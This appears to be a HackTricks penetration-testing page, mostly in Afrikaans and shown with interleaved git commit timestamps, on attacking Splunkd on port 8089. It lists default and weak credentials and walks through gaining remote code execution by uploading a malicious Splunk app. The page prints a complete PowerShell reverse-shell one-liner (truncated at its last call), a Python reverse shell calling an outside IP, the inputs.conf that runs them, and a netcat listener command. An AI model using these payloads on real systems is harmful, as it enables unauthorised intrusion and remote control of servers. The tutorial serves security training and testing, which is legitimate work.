hacktricks/network-services-pentesting/8089-splunkd.md

141 lines
8.6 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 8089 - Pentesting Splunkd
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-02-03 01:15:34 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
## **Basiese Inligting**
2022-04-28 16:01:33 +00:00
Splunk is 'n **log analise hulpmiddel** wat 'n belangrike rol speel in **die versameling, analise en visualisering van data**. Terwyl die aanvanklike doel nie was om as 'n **SIEM (Security Information and Event Management)** hulpmiddel te dien nie, het dit gewildheid verwerf in die gebied van **sekuriteitsmonitering** en **besigheidsanalise**.
2020-11-06 00:32:50 +00:00
Splunk-implementasies word gereeld gebruik om **sensitiewe data** te stoor en kan dien as 'n **waardevolle bron van inligting** vir potensiële aanvallers as hulle daarin slaag om die stelsel te kompromitteer. **Standaard poort:** 8089
```
2020-11-06 00:32:50 +00:00
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
2022-10-03 00:11:21 +00:00
{% hint style="info" %}
Die **Splunk webbediener loop standaard op poort 8000**.
2022-10-03 00:11:21 +00:00
{% endhint %}
2020-11-06 00:32:50 +00:00
## Enumerasie
2022-10-03 00:11:21 +00:00
### Gratis Weergawe
2022-10-03 00:11:21 +00:00
Die Splunk Enterprise proefweergawe omskakel na 'n **gratis weergawe na 60 dae**, wat **nie outentisering vereis nie**. Dit is nie ongewoon dat stelselsadministrateurs 'n proef van Splunk installeer om dit te toets nie, wat **daarna vergeet word**. Dit sal outomaties omskakel na die gratis weergawe wat geen vorm van outentisering het nie, wat 'n sekuriteitsgat in die omgewing inbring. Sommige organisasies mag vir die gratis weergawe kies weens begrotingsbeperkings, sonder om die implikasies van die afwesigheid van gebruikers-/rolbestuur ten volle te verstaan.
2022-10-03 00:11:21 +00:00
### Standaard Kredensiale
2022-10-03 00:11:21 +00:00
Op ouer weergawes van Splunk is die standaard kredensiale **`admin:changeme`**, wat gerieflik op die aanmeldbladsy vertoon word.\
Egter, **die nuutste weergawe van Splunk** stel **kredensiale** **tydens die installasieproses** in. As die standaard kredensiale nie werk nie, is dit die moeite werd om te kyk vir algemene swak wagwoorde soos `admin`, `Welcome`, `Welcome1`, `Password123`, ens.
2022-10-03 00:11:21 +00:00
### Verkry Inligting
2022-10-03 00:11:21 +00:00
Sodra jy by Splunk aangemeld is, kan ons **data blaai,** **verslae** uitvoer, **dashboards** skep, **toepassings** van die Splunkbase biblioteek installeer, en pasgemaakte toepassings installeer.\
Jy kan ook kode uitvoer: Splunk het verskeie maniere om **kode** uit te voer, soos bediener-kant Django toepassings, REST eindpunte, geskrifte insette, en waarskuwingskripte. 'n Algemene metode om afstandskode-uitvoering op 'n Splunk-bediener te verkry, is deur die gebruik van 'n geskrifte inset.
2022-10-03 00:11:21 +00:00
Boonop, aangesien Splunk op Windows of Linux gasheer geïnstalleer kan word, kan geskrifte insette geskep word om Bash, PowerShell, of Batch skripte uit te voer.
2020-11-06 00:32:50 +00:00
2022-05-01 13:25:53 +00:00
### Shodan
2020-11-06 00:32:50 +00:00
* `Splunk bou`
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
## RCE
2022-04-28 16:01:33 +00:00
### Skep Pasgemaakte Toepassing
2022-10-03 00:11:21 +00:00
'n Pasgemaakte toepassing kan **Python, Batch, Bash, of PowerShell skripte** uitvoer.\
Let daarop dat **Splunk met Python geïnstalleer kom**, so selfs in **Windows** stelsels sal jy in staat wees om python kode uit te voer.
2022-04-28 16:01:33 +00:00
Jy kan [**hierdie**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk pakket gebruik om ons te help. Die **`bin`** gids in hierdie repo het voorbeelde vir [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) en [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Kom ons loop deur dit stap-vir-stap.
2022-10-03 00:11:21 +00:00
Om dit te bereik, moet ons eers 'n pasgemaakte Splunk toepassing skep met die volgende gidsstruktuur:
2022-10-03 00:11:21 +00:00
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
Die **`bin`** gids sal enige **scripts wat ons van plan is om te loop** bevat (in hierdie geval, 'n **PowerShell** omgekeerde skulp), en die standaardgids sal ons `inputs.conf` lêer hê. Ons omgekeerde skulp sal 'n **PowerShell een-liner** wees:
2022-10-03 00:11:21 +00:00
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
Die [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) lêer vertel Splunk **watter skrip uit te voer** en enige ander voorwaardes. Hier stel ons die app as geaktiveer en sê vir Splunk om die skrip elke 10 sekondes uit te voer. Die interval is altyd in sekondes, en die invoer (skrip) sal slegs loop as hierdie instelling teenwoordig is.
2022-10-03 00:11:21 +00:00
```shell-session
2024-02-11 02:07:06 +00:00
cat inputs.conf
2022-10-03 00:11:21 +00:00
[script://./bin/rev.py]
2024-02-11 02:07:06 +00:00
disabled = 0
interval = 10
sourcetype = shell
2022-10-03 00:11:21 +00:00
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Ons het die `.bat`-lêer nodig, wat sal loop wanneer die toepassing ontplooi word en die PowerShell een-liner sal uitvoer.
2022-10-03 00:11:21 +00:00
Die volgende stap is om `Install app from file` te kies en die toepassing op te laai.
2022-10-03 00:11:21 +00:00
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
2022-10-03 00:11:21 +00:00
Voordat ons die kwaadwillige pasgemaakte toepassing op laai, laat ons 'n luisteraar begin met Netcat of [socat](https://linux.die.net/man/1/socat).
2022-10-03 00:11:21 +00:00
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
Op die `Upload app` bladsy, klik op blaai, kies die tarball wat ons vroeër geskep het en klik `Upload`. So **binne-in ons die toepassing op** te laai, sal 'n **reverse shell ontvang word** aangesien die status van die toepassing outomaties na `Enabled` verander.
2022-10-03 00:11:21 +00:00
#### Linux
As ons met 'n **Linux-gasheer** te doen gehad het, sou ons die **`rev.py` Python-skrip** moes **wysig** voordat ons die tarball skep en die pasgemaakte kwaadwillige toepassing op laai. Die res van die proses sou dieselfde wees, en ons sou 'n reverse shell-verbinding op ons Netcat luisteraar kry en aan die gang wees.
2022-10-03 00:11:21 +00:00
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
In die volgende bladsy kan jy 'n verduideliking vind oor hoe hierdie diens misbruik kan word om voorregte te verhoog en volharding te verkry:
2022-10-03 00:11:21 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## References
2022-10-03 00:11:21 +00:00
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-10-03 00:11:21 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-02-03 01:15:34 +00:00
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}